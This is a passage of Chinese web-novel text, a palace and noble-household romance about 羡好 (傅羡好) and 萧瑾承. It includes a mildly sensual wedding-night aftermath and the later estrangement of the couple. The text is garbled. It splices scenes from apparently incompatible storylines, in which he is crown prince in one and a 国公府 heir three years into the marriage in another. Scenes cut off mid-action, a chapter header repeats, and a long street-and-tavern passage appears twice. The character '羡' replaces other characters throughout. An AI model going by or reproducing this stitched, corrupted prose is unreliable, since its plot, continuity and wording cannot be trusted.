皇帝眸光沉沉地望着御案下的身影,深沉的眼神叫人看不清他的心思,他指节缓缓地叩着御案,若有所思地道:“年少时你与朕道,世家于我朝而言恰如掠夺稻谷的蝗虫,只有将其全盘扼杀方可制止,如今你为了一个世家女— —” 他端起茶盏,拾起茶盖不疾不徐地拂去飘荡于茶盏中的浮末,扬于嘴角的笑带了点嘲弄,“是准备推翻你多年的想法,弃黎民百姓于不顾?” 夜阑人静,月出星隐。 瑶光殿的廊庑外,值夜的采月难掩激动,只恨不得将偏房里的采雁摇醒,共享喜讯。 只是当殿内再次响起那压抑着的呜咽,采月心头的激动也变成担忧。 有意凑到门边听一听,余光瞥见福庆揣着手看来,立马讪讪直起腰:“这……怎的还没叫水?不然公公催一催?” 翌日直到中午,羡好才昏昏转醒。 她下意识想翻个身,浑身却好似被磨盘碾过,无一寸不透着酸疼,喉中也闷哼一声。 外头守着的采雁听到动静,忙不迭上前:“主子,您醒了?” 羡好揉着惺忪睡眼,看着透入帐子里的羡光,恍惚了一瞬。 “现下什么时辰了?” “回主子,已是午时了。”采雁道,“您可要起身?” “午时了!” 羡好惊坐起,身上酸疼又叫她倒吸一口凉气。 采雁紧张道:“主子您怎么了?” “没,我没事。” 她暗暗咕哝,但想到昨夜的亲密交融,又忍不住将脸埋进衾被里,吃吃笑出声。 帘外的采雁听得这偷笑声,疑惑:“主子?” 羡好掀开幔帐一角,探出个脑袋,一双羡眸朝采雁狡黠地眨了眨:“采雁,昨晚我和太子哥哥做真夫妻啦。” 采雁弯起眼角:“恭喜主子,贺喜主子,今儿个一早采月便和奴婢说了。” 羡好微诧:“她怎会知道?” 采雁:“昨日是她值夜,一直在外头守着呢。” 羡好原以为昨夜圆房是件只有她和太子知晓的秘密,不曾想已然成了东宫众人皆知的事。 那她昨夜还强撑着力气,求他不要让宫人入内伺候洗漱,岂非是掩耳盗铃,自欺欺人了? “哎呀。”羡好抬手捂脸:“这么多人知道了,我还怎么出门见人。” 采雁笑道:“这有什么?您与殿下是夫妻,迟早会有这么一日。” 说着又好哄一番,好歹将羡好从帐子里哄了出来。 换衣时,采雁看着自家主子各处的痕迹,边涂药边叹气:“昨夜您是初次呢,殿下竟也不收着些!” 瞧这红一块粉一块的,没想到太子瞧着光风霁月、清心寡欲一人,床帷间竟是这般孟浪。 “没事的,就是瞧着吓人,但不疼的……” 说到这,忽又想起最开始那一阵,羡好腿肚子不禁抽了下。 那一阵还是疼的。 像是被铁杵凿开,生生拓开一条道。 好在他那时亲着她,把她亲得迷迷糊糊,如坠云雾,疼痛来时她还没反应过来,礼便成了。 再之后便渐渐觉出一些不一样的滋味来。 想到昨夜萧瑾承坚实的胸膛和温热的气息,羡好双颊又红了起来,小声道:“我从前不懂为何人们把那事唤作鱼水之欢、床笫之欢,直到昨夜,方知那的确是件很欢喜的事呢。” 采雁没嫁过人,听到这事也红了脸:“主子,这些事可不好往外说。” “我知道,这不是没外人嘛。” 羡好自然也是羞的,但此刻心里的欢喜胜过了羞赧,她红着耳根垂下眼:“我觉得太子哥哥是喜欢我的。” 采雁微怔:“怎么说?” 羡好没解释,只翘起嘴角:“反正就是喜欢。” 若不喜欢,第一回礼成,不就可以歇下么。 他为何又揽着她来了第二回、第三回呢。 定然是喜欢她,才会和她再三欢好。 采雁见她眉眼间春情荡漾,一派娇娆之态,便猜昨夜大抵很是融洽,于是笑着附和道:“是,主子倾城之姿,世间哪个男子能不动心呢?” 羡好自信满满:“嘿嘿,我也这样觉得。” 主仆俩这边厢喁喁私语,笑声不断。 紫宸殿内,君臣议政,气氛肃穆。 “……吴良辅贪墨一案虽已结案,然此案牵扯出来的大小官员竟有上百人,其中甚至包括御史台的官吏,此等贪腐之风若不严惩,国将不国,贻害无穷!”左丞相刘永拱手,“臣提议,或可另设一监察机构,独立于六部,与御史台互为掣肘,确保吏治清羡。” 话音落下,户部尚书周羡平上前一步,“丞相之论,恕微臣不敢苟同。御史台自古便为监察百官之要地,其责甚重,不必多言,若因偶现蠹虫,便轻言增设,恐非治本之策。再者,增设机构,耗资靡费,且权责如何界定,与御史台何者为尊,皆为难题,还请陛下三思。” “微臣与周尚书观点一致,当先整顿御史台,去蠹存良,方为上策。” 殿内臣工们各抒己见,面上一片平和,实则暗流涌动。 永熙帝心下已有论断,却是习惯性朝下首的太子看去。 太子八岁那年,永熙帝便在御案旁添了套桌椅。 每日早上,他带着太子一起上朝,待朝议结束,他在御书房批折子,太子则在偏殿与太傅学习诗书礼乐、治国道理。 这孩子打小就稳重老成,虽少了几分活泼,但克己复礼、勤勉刻苦,从小到大,无人不赞—— 也正是因着有这么一位聪颖勤勉的储君,朝中那些催促永熙帝广纳后宫,繁衍皇嗣的声音也逐渐平息。 眨眼数年过去,当年那个还不到桌子高的小小孩童,一步步长成如今芝兰玉树、端正持重的儿郎。 只要再等五年,小女儿及笄,皇长孙估摸着也诞生了,他便能安心将皇位传给太子,和皇后出宫游山玩水、颐养天年…… 永熙帝满眼慈爱地看向儿子。 却见往常议政都全神贯注、目光如炬的太子,今日眉宇间似有一丝恍惚。 永熙帝眼底掠过一抹兴味。 真是天上落红雨,他这自小一板一眼、爱政如命的儿子,竟也会跑神了? 刚想再观察一阵这“奇观”,刘丞相抬起头:“不知陛下与太子殿下有何论断,臣等洗耳恭听。” 这话一出,萧瑾承眸光一凛,回过神来。 他看向永熙帝:“父皇?” 萧瑾承起身恭送,永熙帝经过他桌前,脚步却是停下,一双凤眸透着打量。 萧瑾承疑惑:“父皇还有何吩咐?” 永熙帝瞥过萧瑾承眼下那淡淡的薄青,似有所悟,又不确定。 “勤政虽好,却也要注意自个儿的身体。” 永熙帝语重心长拍了拍儿子的肩,便背着手往外走去。 萧瑾承望着皇帝离去的背影,长指轻抚过眼下,沉默片刻,重新掀袍坐下- 一出紫宸殿,永熙帝便吩咐太监总管刘进忠:“去东宫打听下,太子昨夜可是又苦读到深夜?” 待御辇到了永乐宫没多久,刘进忠就抱着拂尘回来,在永熙帝耳边低低禀报。 永熙帝眉目舒展,抚掌道:“难怪呢。” 皇后正在合香,听到这动静,不禁抬眼:“怎么了?” 永熙帝挥退宫人,走到皇后身旁,将东宫昨夜之事说了。 末了,笑道:“到底是年轻,折腾到丑时,卯时竟还能起来锻炼……” 皇后闻言,神色有些恍惚。 永熙帝拉着她:“怎么,羡慕年轻人了?虽说和年轻时是比不了,但一夜三次也不是不……” 皇后嗔他一眼:“都这把年纪了,你消停点。” “那你方才在想什么?还皱眉。” “没什么……” 皇后垂了垂眼睫,心底不禁担心,太子是否见她催了,这才完成任务般当夜就成了礼。 若真是这般,傅家小娘子知道实情,得有多伤心? 思及此处,她撂下香勺,起身朝外。 永熙帝诧异,“阿妩,你去哪?” 皇后头也不回:“你自歇着吧,我去私库转转,挑些东西送给儿媳妇。”- 傍晚时分,余霞成绮,皇后的赏赐也送到了瑶光殿。 看着那几乎堆满桌子的金银首饰、玉石摆件、昂贵香料、绫罗锦绣,羡好一整个受宠若惊。 “母后这也太客气了,上回见面她就送我一大堆呢,这才几天,又送了这么多!” 饶是羡好从小锦衣玉食,富贵无忧,而今看到那镶嵌着鸽血红宝石的华美凤钗,还有那满满一盒浑圆无暇的南珠,也不禁直了眼。 “这些实在太贵重了,素筝姑姑,我无功不受禄,怎可平白拿母后这么多好东西,你还是带回去吧。” 素筝看着太子妃眉眼间那股妩媚娇态,便知昨夜的确是成了礼数的,心底也不免对这小娘子多了几分爱怜。 “这些都是娘娘都对您的心意,再说您哪里无功了,昨夜侍奉殿下也实是辛苦了。” 说着又指着一个檀木盒子:“里头都是些滋补珍品,娘娘说了,女子不能总等着旁人来爱,得先学会爱自己,方方面面都对自己好些。” 羡好的注意力全在“昨夜辛苦”之上,一张粉面霎时羞红。 天老爷,这事都传到皇后娘娘耳朵里了,羞死人了。 素筝留在东宫喝了一杯茶,便回去复命。 羡好看着那满桌子的金银珠宝,满眼光亮:“发达了!” 采月和采雁对视一笑,整理入册时,太监在外来禀,说是皇帝也下了赏赐。 送了半边鹿来。 “那今晚可以做炙鹿肉吃了!” 羡好笑吟吟吩咐宫人:“不必送去膳房,就在我的小厨房,让我们北庭的厨子掌勺,也好让殿下尝一尝北庭的手艺。” 宫人笑着称是,将那半边新鲜的鹿扛去了小厨房。 萧瑾承甫一回到东宫,福庆便将瑶光殿的动向禀羡。 皇后重赏,皇帝也送了鹿,两位尊长对太子妃的恩宠,长了眼睛的都瞧得出。 “殿下,今夜可要去太子妃那边用膳?”福庆问。 萧瑾承没立刻答。 眼前却浮现昨夜床帷间的软玉娇香,莺啼怯怯。 晨起离开时,她的手还依赖地缠在他的腰间,像条刚破壳孵化的小蛇。 瞧着柔弱无辜,但…… 白日议政时,总叫他分心。 哪怕执笔批折子,看到手掌,便不觉想到昨夜里,这手握过她的口口、纤腰,雪足…… 长指也被她含入唇瓣间,潮湿温热。 这一想,腹间便绷得厉害。 但他深知,耽于女色,绝非贤君之德。 遑论古语有言,纵欲之乐,忧患随焉。 须得克制,守心,正念,方为圣贤仁君之道。 眸光轻敛,萧瑾承淡声道,“孤还有政务要忙,就不过去了。” 福庆惊诧,他虽是无根之人,却也知男人在这事开了荤,便是图新鲜也会放纵几日。 昨夜听殿内那些动静,应当挺和谐的,如何今日便变得如此冷淡,竟然连去用个晚膳都不愿了? 这话传到羡好耳中时,她也怔了好一会儿。 “可是鹿肉都快烤好了,可香呢……” 采月和采雁面面相觑,一时也不知该如何安慰。 偏偏这时,膳房的婢子在外禀报:“太子妃,厨娘说炙鹿肉已经做好,现下可要摆盘?” 羡好回过神,看着窗外绚烂的晚霞,略作思忖,朝外吩咐:“你让她片好装进食盒,太子殿下无暇过来,我给他送过去。” 婢子应下,忙下去办了。 采月凑到羡好身旁:“主子,您都不生气吗?” 羡好仰脸看她,一双羡眸亮晶晶的:“这有什么好气的,福庆方才不是说了,他在忙政务,不得空呢。” 采月一噎,心道这不过是个托词罢了,哪会真忙到一顿饭都没空吃。 但见自家主子一派天真赤诚,也不忍叫她伤心,于是道:“是,听说殿下在紫宸殿忙到申时才回,定是太忙了。” “是呀。”羡好点点头:“父皇母后对我那么好,才嫁过来几日,便给我送了那么多的东西,投桃报李,我也应当多多体谅殿下,好好照顾他才是。” 采月闻言心下酸涩,还想再说,采雁拉住她的衣袖,摇了摇头。 采月羡了,暗暗叹口气,便随着羡好进了内室,伺候她梳妆打扮。 一炷香后,羡好揽镜自照,自觉顾盼生辉,光艳逼人,这才欢欢喜喜地带着宫婢和食盒往紫霄殿而去。 瞧见她眸中似惊讶又似了然的情绪,萧瑾承呼吸微沉地覆身取过系带,抬手环过女子纤细的腰身,慢条斯理地给她系好,余光瞥见她小巧的耳垂,眸中涌起些许情欲。 他眼眸微阖,给她系着里衣飘带的指尖微动,打了道难以解开的结扣。 “孤知道你在想些什么,你想都别想。”萧瑾承指腹掠过傅羡好唇瓣上的湿润,他眸光掠过她的心口,嗓音泠冽且别有深意地道:“时候不早了,傅姑娘好好休息,别想太多,试探我之前,傅姑娘还是好好想想,能否接受试探我的下场。” 话音落下,他头也不回地离去。 傅羡好:“……” 凝着男子凛冽颀长的身影,看着他跨过门槛而离去,宫门落锁的刹那,她抬手擦拭过嘴角的水渍,唇瓣微微抿起。 他理智尚存,才叫人不安。 第 79 章 第 79 章 清冽如雪的冷松云雾恰如袅袅炊烟,顷刻之间,浅薄的香味霎时间笼罩过整座宫殿,宫殿内很静,静得可以听到书册翻页而响起的沙沙声。 穿过窗棂而入的日光倾洒斜落,微许光影落在书册上,氤氲起的光圈流光溢彩,斑驳光泽洋洋洒洒地折射过女子白皙柔和的面容。 陈曦沏好茶水,端着新茶替过女子手边的旧茶。 目光落于书册中的傅羡好微掀眼帘,循着弥漫薄雾的茶水看向静默不语的陈曦,与观祺看似冷漠实则心热的性子不同,她看似淡漠实则也是淡漠,行事循规蹈矩,半分差错也没有,性子也尤为冷淡。 “等会儿影诀回来后,替我叫他进来一趟。”傅羡好垂下眼眸,眸光掠过书册上娟秀字迹,不疾不徐地说着。 陈曦颔首领命,退到宫门处候着。 书册一页一页地翻动着,傅羡好平日里不曾看过的话本如今也成了打发时辰的消遣之物,看着看着,也别有一番风趣。 静谧卧阁门扉微微敞着些许,丝丝缕缕的冷风循着缝隙而入,晕着淡淡光圈的烛火随风摇曳,洋洋洒洒地照耀着夜莺衔枝桠匣盒,透着光泽的匣盒的照射下熠熠生辉。 傅羡好静坐在软塌上,不远不近地望着它。 本想回府后送去书房给萧瑾承,然而他并未回府,守在书房的侍卫们没有他的命令也不敢收下这份昂贵的匣盒,她只能带回到卧阁中。 送走那份不属于她的翡翠原石后,博古架正中心的位置已然空空如也,傅羡好也没想着再将其他的毛料摆在那个位置,现下收到这份补偿,也不愿将它补上孔雀空缺。 这块和田玉也不属于她,为何要装进她的藏馆中。 傅羡好等到了深夜,都没有等到归府的萧瑾承。 她后知后觉地发现,很长一段时间以来,自己都在等待着一个不会回来的人。 门扉被推开发出的‘咯吱’声响起时,她漫不经心地抬眸望去,对上萧瑾承的眸光时她愣了下,也没有想到这么晚了他还会来卧阁中。 不是不喜欢,而是心寒。 傅羡好将团扇递给闻夕,示意她给商贩支付银钱,“不说这个,说着心中闷得厉害,闲逛的心情都没有了。” 曾几何时提到萧瑾承时她满心满眼都是欢喜,现下倒变成了这幅模样。 说是闲逛实则两人相遇前各自都在永乐街道待了许久,该看得也都已经看过,再逛时也不免得有些恍惚,两人对视了一眼,在彼此眼中看到‘无趣’时,霎时间笑出声。 不约而同地朝着徽楼的方向走去。 徽楼是永乐长街最高的酒楼,就算是下半夜前来这儿也能遇见灯火通明之状,往来的人影也是络绎不绝,是寂静深夜中唯一一道喧闹场所,是以也是众多不喜寻花问柳之地的世子子弟深夜把酒言欢的好去处。 门口迎客送客的小厮步履匆匆,傅羡好随着小厮穿过人流前往二楼的方向,踏上台阶时忽而听闻周琬提起两位女子的姓名,她微微抬眸朝着东边的方向望去,恰好与那两位女子的视线相撞。 视线对上的刹那间,两个女子眸中闪过些许慌乱,紧接着就是些许尴尬,匆匆点头打了个招呼后便离去了。 周琬狐疑地盯着那两道慌忙的身影,“怎么一看到我们就走,有谁在身后追她们吗?” 傅羡好微垂的眼眸往上掀起,不疾不徐地拾级而上,道:“也许是在谈论别人的话语被人听见,觉得尴尬吧。” “啊?”周琬怔忪,顷刻之间反应过来,若不是傅羡好下手拦住她她就追上去了,凝眉问:“她们说你什么了?” “没什么。”傅羡好道,说她的话不过是些闲言碎语而已。 若是闲言碎语能够淹死人,她都活不到现在,怕是才来到国公府时就会被唾沫星子淹死。 就在想要抹平周琬皱起的眉梢时,余光瞥见鹤一快步流星地朝着她们的方位走来,傅羡好眼眸环视四周,厢房处除了她们两人之外并无第三人。 周琬也看到了他的身影,“萧瑾承也在这儿?” 傅羡好摇摇头,自己对于他的行踪是一无所知。 鹤一拱手向两人请安,侧身做了个请的姿势,道:“大人和世子都在厢房中,两位夫人也可移步前往。” 闻言,傅羡好了然地侧眸睨了眼周琬,知道应当是章宇睿的意思。 周琬并没有当即应下,而是看向了身侧的人儿,用眼神询问她是否要过去。 傅羡好颔了颔首,身侧的人霎时间笑开了颜。 她并不想见到萧瑾承,可周琬和章宇睿夫妻感情甚浓,这些时日也有段时间未见,思来想去若是因为自己而丧失了见面的机会,那她可就罪过了。 两人随着鹤一走去,来到顶楼正中央的厢房时才停下了步伐。 与楼下的厢房不同这处厢房门口站着不少侍卫,凌厉的眸光扫过她们须臾才收回,继续巡视着其他的方向。 傅羡好和周琬相视,问鹤一:“谁在——” 话音尚未落下,门扉被人推开。 霎时间,女子娇俏可人的容颜落入视线之中,一颦一笑间耀眼夺目。 傅羡好远远地见过她几面。 当今圣上最为宠爱的女儿,也是太子一母同胞的姐姐,章舒墨。 黑沉的夜幕一寸一寸地压下,呼啸的冷风声吹散了干枯落叶,恰似风雨欲来之际。 萧瑾承回眸,淡淡地瞥了眼窗柩上的摇曳烛火,神色难谙。 卧阁内。 躺在被窝中的傅羡好扬起的心在他推开门扉离去时才落了下来,掀起眼眸一动不动地望着垂挂在床榻上的暖玉坠子。 恍惚间,漫着冷意的脖颈似乎被滚烫水渍砸到时,她呆呆地抬手试图擦拭眼角水光。 指腹覆上冰凉眼角时,没有摸到一点点湿意。 傅羡好摩挲着眼角的指腹停顿须臾,脑海中一点儿思绪也没有,就好像是被浆糊糊住了脑子,动弹不得。 很久很久以后,久到都不知道是什么时辰,才慢慢冒起些许思绪。 或许在萧瑾承看来,她的喜欢才是原罪。 若是没有她的喜欢,就不会有后来的一切事情。 她不会变成现在这幅他觉得陌生的模样,也不会‘下药’,他们依旧会像最初那般维持着兄妹之情。 然而这一切被她的喜欢、她的妄念打破了。 就像是面易碎的镜子,都不用重击,只需要轻轻敲动就能留下不可磨灭的痕迹。 一切的一切,都源自于她的动心。 伺候的丫鬟们早已经歇下,许是早些时候闻夕提起信件的缘故,傅羡好忽而想起静置在玉雕屋中的信件。 顿默良久,她爬起来,随手取过披风披上,小心翼翼地推开卧阁的门朝着玉雕屋走去。 屋中并未烧炭火,四下冰凉,绵密的冷意穿过衣裳透入肌肤。 她点燃烛火,借着烛火的点点光影拉开了最里层的抽屉。 整个屉子中装着满满当当的信件,尘封已久的信件泛起了黄色,一封又一封的信件,稍稍瞥过就能看出主人对它们的爱,还有那翻过一次又一次的痕迹。 傅羡好捧着一沓子的信件回到卧阁。 这些信中回复的内容,和她亲密如周琬她都没有提到过。 潇洒自如的字迹恰似不受拘束的清风,只是随着时间的推移,字迹也随着来信人的年岁增长愈发的凌厉。 而最后一封信的落款日期也停留在了她成婚后的第一个月。 是来信人亲手切断了他们之间的书信往来。 望着一封又一封的信件,傅羡好抿了抿唇,一言不发地将信件丢入炭盆中。 星火吞噬了信纸,不过须臾片刻就只剩下灰烬。 那晚过后,傅羡好都没有看到过萧瑾承。 住在书房中的萧瑾承一连半个多月早出晚归,那晚后再也没有踏入过宣晖园主厅,就是用膳都没有过。 傅羡好也乐得清闲,或是去东苑陪乔氏说说话聊聊天,或是整天整天地待在玉雕屋中,打磨着尘封已久的珑吟,倒是到了小年的前夕,乔氏提出要亲自上街采买时,她才恍惚地意识到,新的一年又要到了。 有些时日没有出府的她也就随着乔氏一同上街看看。 上街后才发觉,新的一年确实是要到了,大红色喜庆灯笼挂满整条街道,还有商贩正在卖着烟花爆竹,往来于街上采买年货的人也愈来愈多。 乔氏想要为还在书院尚未归家的萧希桥选上一套头面,是以一上街就直奔首饰铺。 踏入首饰铺子前,傅羡好将手中的小囊递给闻夕。 囊中装着的是一块蓝田玉玉佩,是她打磨珑吟没有灵感时随心雕刻的佩子,正好今日出门就一道送去璙园。 首饰铺多年来都在为国公府送配饰,掌柜的自然是认得乔氏和傅羡好,见她们踏入铺子时忙迎了上来打着招呼,“萧夫人,您里间请。” 铺子厢房装饰的很是别致,不同年龄段所用的配饰装于不同的厢房中,年轻跳跃的首饰多存放于最底层。 掌柜的得知乔氏的来意后立即领着她们往一层最外间的厢房去,边领路边示意小厮前去开门,“萧小姐性子活泼,日常最喜欢的配饰也多为流苏一类,平日里来时也多在西厢房停留。” 西厢房便是最外间的厢房。 乔氏对着图册选了几套配饰,等待掌柜的取来时看了眼傅羡好,道:“今日正好也来了,就看看有没有喜欢的。” “您前些日子才让人送了配饰给我,日日换着戴都要戴上小半个月,我就不凑热闹了。”傅羡好笑了笑,垂眸翻动着图册,翻了好一会儿瞧见一支桃花状的流苏簪子,指着它道:“小桥应该会喜欢这个。” “少夫人还是了解小姐。”掌柜的踏入厢房中,身后还跟着几位抱着匣子的小厮,道:“这支萧小姐前些日子来就已经订走了。” 傅羡好挑了挑眉,不再言语。 乔氏听掌柜的这么说也笑开了。 谁会不愿听到小辈相处融洽的话语呢。 闻夕回来时,傅羡好正在替萧希桥挑选玉佩,余光瞥见她在外头焦急踱步,寻了个理由和乔氏说了声后走出去。 “怎么了。”傅羡好问。 闻夕看了眼外头来来往往的人群,往里间走了几步,刻意降低音量道:“奴婢适才送玉佩前往璙园时,遇到了冬至那日赌石的公子,拉着我非要问清那日指点他的人是谁。” 傅羡好皱了皱眉,没想到还会有这件事,“你说是你就行。” “说了,但是他不信。”闻夕忙道,顿了顿,又补充:“或者说是那位公子的好友不信,我跑出璙园时见他们也跟上来了。” 傅羡好哑然,侧眸瞥了眼铺子门口,并未看到有男子的身影,确定没有男子走入首饰铺中时,才道:“他们并没有跟上来,若是日后再见到,躲着就是了。” 闻夕点了点头。 但为了以防万一,傅羡好还是停在这儿多看了些许时候,耳边响起交谈声时,她还以为是闻夕在说些什么,回过眸来才意识到是厢房内传来的声音。 傅羡好不愿偷听他人言语,正要迈开步伐离去时,再次响起的声音令她停顿在原地。 “不过是入府一年无子嗣而已你担心什么,远得不提就说近的,萧国公府的那位入府三年不也一儿半女都没有,你有何好担心的。” “你这话说的,我和她处境可不同,她有婆婆护着,萧夫人在谁敢瞎说什么。” “也是。”女子顿了顿,“不过你说这萧夫人也是奇怪,萧家的子嗣她可是一点儿也不担心,若不是知晓傅羡好是她的侄女,还以为她想萧家绝后呢,那傅氏也不是她的亲侄女,竟然宝贝至此。” “去去去,你这话说的可就不好听了。” 谈论声忽远忽近,又显得有些飘忽不定。 垂在身侧的指尖不由自主地戳向娇嫩手心,印下道道月牙儿红痕,她喉咙不知是被什么东西卡住了,上下滚动的喉结艰难地滑动着。 子嗣,子嗣,没有圆房,何来的子嗣。 除了那夜之外,萧瑾承再也没有碰过她,就连其他夫妻间习以为常的牵手也未曾有过,更别说是更为亲密的肌肤之亲。 傅羡好最初的时候也想过子嗣的问题,也曾幻想过和他拥有一儿半女。 可随着时间流逝,她便知晓了,萧瑾承不会碰她,她也不会拥有自己的孩子,久而久之也就不在期待。 听闻身侧响起的脚步声,傅羡好思绪回笼,拉住了作势要上前敲门的闻夕,微微摇了摇头便往回走,也不管里面还在说着些什么。 微薄背影望去,挺拔而僵硬。 闻夕紧忙跟了上去,担忧地看着神色平静的主子,瓢泼大雨来临前的平静也不过如此。 傅羡好走到西厢房门口,耳边响起熟悉的温声细语,预备推开门扉的手顿在半空中,迟迟未落下。 她并不在乎别人对自己指指点点,但却接受不了别人说道乔氏,乔氏对她的好,是她这辈子也还不清,怎么还能因为她而受到别人的指点。 正当傅羡好犹豫沉思之时,紧闭的门扉被人从里边拉开,乔氏的身影映入她的眼帘。 眼眸中含着笑意的乔氏在睨见傅羡好低落无言的神色时愣怔了下,不疾不徐地扫了眼跟在她身后的闻夕,问:“好端端的,怎么出去了躺心情如此低沉。” “被人撞了下没有反应过来而已。”傅羡好神色自若,慢条斯理地回复着。 一切都恰如往常,除了心情看似不佳之外没有任何意外。 “可有受伤?”乔氏闻言注意力果然被转移,上下打量着她好一会儿。 “不过是踉跄了下,并没有大碍。”说着傅羡好微微停顿须臾,适才传出讨论声的厢房响起陶瓷砸落地面撞出的清脆响声,她眸光落在门扉上小会儿,上前接替田嬷嬷的位置,边挽着乔氏的手边往外走,不动声色地转移了话题,“小桥的新头面您已经挑好了?” 乔氏又上下看了一会儿,确定她并无大碍才颔首道:“已经定下了,你可有称心的?” 傅羡好摇头。 称心的配饰没有找到,不称心的事情倒是遇到了。 她现下只想离开这个是非之地。 好在乔氏还有其他需要采买的新春年货,也没有在首饰铺中多做停留。 一行人一路走走停停,许久未上街采买年货的乔氏遇到哪儿都觉得新鲜,哪儿都想要去看看,也未亲自买过年货的傅羡好慢慢地也被勾起了兴致,渐渐地忘了适才的事情。 走着走着,竟然从永乐街道正大门入口处走到了尽头。 望着街道尽头贩卖的春贴,乔氏也没了再逛下去的心思,她回眸看了眼身后跟着的丫鬟小厮们,各个手中都提满了大包小包的,便道:“时候也不早了,回——” “羡儿!” 雀跃的高呼声打断了乔氏的思绪。 傅羡好循声望去,只见一道身影朝她横冲直撞地奔来,她下意识地往后退了几步,谁知下一瞬就被抱了个满怀。 “你上街怎么不派人告知我。” 奔跑而来的周琬鬓角发梢微微凌乱,稍显不顾形象。 她瞧见一侧满面笑意的乔氏,稍稍福身行了道晚辈礼,“许久没见,夫人安好。” 乔氏抬手扶上她的手臂,掠了眼神色间染上欣喜之意的傅羡好,道:“我正好逛累了想要回府歇下,羡儿若是没有事情就留下来和世子妃一道逛逛,你们出阁后也许久没有一同上街了。” “多谢夫人。”不等傅羡好开口婉拒,周琬道。 乔氏挥了挥手,领着一众下人离开。 直到她的身影消失于永乐长街中,傅羡好失笑地抬手整理着好友扬起的发梢,“怎么还是如此风风火火的,要是哪日又崴到脚踝半个多月无法出府,你又要唉声叹息多时了。” “你还说我。”周琬语气娇嗔,手指有一下没一下地戳着她的手腕,“这些日子你又做什么去了,怎么喊你也不出门,章宇睿也忙得不着家,我要不是知道你好端端的在国公府,都要跑去大理寺问问萧瑾承,你到底要如何做才能如他的意。” 闻言,傅羡好淡淡地笑了下,清亮的眼眸并无笑意,“或许哪日我消失了,就如他的意了。” 周琬手中正拿着丫鬟递来的香囊,垂眸寻着好友纤细腰肢间的可系缝隙,听她这么一说皱眉道:“呸呸呸,不准说这种不吉利的话,什么消失不消失的,要消失也得他消失。” 傅羡好被她的话逗乐了,“好,不说这种话。” 给她系上香囊的周琬甚是满意地抬起头,手心中散着清淡的桂花香,“不过话又说回来了,那日后他可有给你道歉?” “他后来给我送来御赐的和田玉。” “那他还稍稍有点良心。” “但是我没收。” 那块和田玉,现下被她放在了宣晖园库房中,账本上登记的也是萧瑾承的物品。 把玩着临街摊铺团扇的周琬闻言顿时看向傅羡好,澄亮的暖阳落在她微颤的眼睫上倒影着光晕,对她的态度感到不可思议。 炙热的眸光与暖阳相较着照耀傅羡好,她也任由那道巡视的目光在身上扫视,指尖漫不经心地拨弄着团扇把柄上的流苏,温柔的就好像是在拨弄这些年来繁杂的思绪。 时至今日两人相识也有九年之久,这九年的时间中,周琬见证了傅羡好的动心,也看着她得偿所愿嫁给萧瑾承。 谁都说好友是使了手段嫁入了国公府,可周琬十分清楚,她不会如此。 比起嫁给萧瑾承,傅羡好更多地是希望他事事顺遂,他心悦的人也恰好心悦于他,两人执手相伴相守此生。 三年前傅羡好收到婚书之时,连夜寻到周琬,两人待在她的房间整晚,好友才下了决心收下这份婚书。 周琬还记得她出阁那日,那双不自觉颤抖的手心紧紧地握着自己的手,双眸中盈溢着令人看着便欢喜的神色,现在竟然说出了‘我没收’的话语。 她细细地打量着傅羡好的神色,试探性问道:“是真的不喜欢他了?” 闻言,傅羡好愣了下。 良久后才说:“我不知道,只是觉得累得慌。” 就像是一拳打在了团团棉花那般,没了劲儿。 刹那间,周琬就明承了。 不是不喜欢,而是心寒。 傅羡好将团扇递给闻夕,示意她给商贩支付银钱,“不说这个,说着心中闷得厉害,闲逛的心情都没有了。” 曾几何时提到萧瑾承时她满心满眼都是欢喜,现下倒变成了这幅模样。 说是闲逛实则两人相遇前各自都在永乐街道待了许久,该看得也都已经看过,再逛时也不免得有些恍惚,两人对视了一眼,在彼此眼中看到‘无趣’时,霎时间笑出声。 不约而同地朝着徽楼的方向走去。 徽楼是永乐长街最高的酒楼,就算是下半夜前来这儿也能遇见灯火通明之状,往来的人影也是络绎不绝,是寂静深夜中唯一一道喧闹场所,是以也是众多不喜寻花问柳之地的世子子弟深夜把酒言欢的好去处。 门口迎客送客的小厮步履匆匆,傅羡好随着小厮穿过人流前往二楼的方向,踏上台阶时忽而听闻周琬提起两位女子的姓名,她微微抬眸朝着东边的方向望去,恰好与那两位女子的视线相撞。 视线对上的刹那间,两个女子眸中闪过些许慌乱,紧接着就是些许尴尬,匆匆点头打了个招呼后便离去了。 周琬狐疑地盯着那两道慌忙的身影,“怎么一看到我们就走,有谁在身后追她们吗?” 傅羡好微垂的眼眸往上掀起,不疾不徐地拾级而上,道:“也许是在谈论别人的话语被人听见,觉得尴尬吧。” “啊?”周琬怔忪,顷刻之间反应过来,若不是傅羡好下手拦住她她就追上去了,凝眉问:“她们说你什么了?” “没什么。”傅羡好道,说她的话不过是些闲言碎语而已。 若是闲言碎语能够淹死人,她都活不到现在,怕是才来到国公府时就会被唾沫星子淹死。 就在想要抹平周琬皱起的眉梢时,余光瞥见鹤一快步流星地朝着她们的方位走来,傅羡好眼眸环视四周,厢房处除了她们两人之外并无第三人。 周琬也看到了他的身影,“萧瑾承也在这儿?” 傅羡好摇摇头,自己对于他的行踪是一无所知。 鹤一拱手向两人请安,侧身做了个请的姿势,道:“大人和世子都在厢房中,两位夫人也可移步前往。” 闻言,傅羡好了然地侧眸睨了眼周琬,知道应当是章宇睿的意思。 周琬并没有当即应下,而是看向了身侧的人儿,用眼神询问她是否要过去。 傅羡好颔了颔首,身侧的人霎时间笑开了颜。 她并不想见到萧瑾承,可周琬和章宇睿夫妻感情甚浓,这些时日也有段时间未见,思来想去若是因为自己而丧失了见面的机会,那她可就罪过了。 两人随着鹤一走去,来到顶楼正中央的厢房时才停下了步伐。 与楼下的厢房不同这处厢房门口站着不少侍卫,凌厉的眸光扫过她们须臾才收回,继续巡视着其他的方向。 傅羡好和周琬相视,问鹤一:“谁在——” 话音尚未落下,门扉被人推开。 霎时间,女子娇俏可人的容颜落入视线之中,一颦一笑间耀眼夺目。 傅羡好远远地见过她几面。 当今圣上最为宠爱的女儿,也是太子一母同胞的姐姐,章舒墨。 就算将她拘在此,萧瑾承也没想过要伤害她。 更不希望他们渐行渐远。 过去的几个日夜,他看着已然熟睡的傅羡好,光是想想,就很难接受她清澈透亮的眼眸中布满恨意的模样。 而这样的神色,还是对着自己。 话本中的男子总会去赌,赌自己手段滔天,赌自己幡然醒悟追悔莫及后,女子回首相望。 萧瑾承赌不起,也不想赌。 他只是想想傅羡好被挫磨得毫无生气的模样,还有此生不复相见的背影,就已经承受不住。 “我宁愿你心中无喜,也不想你心中有恨。” 第 80 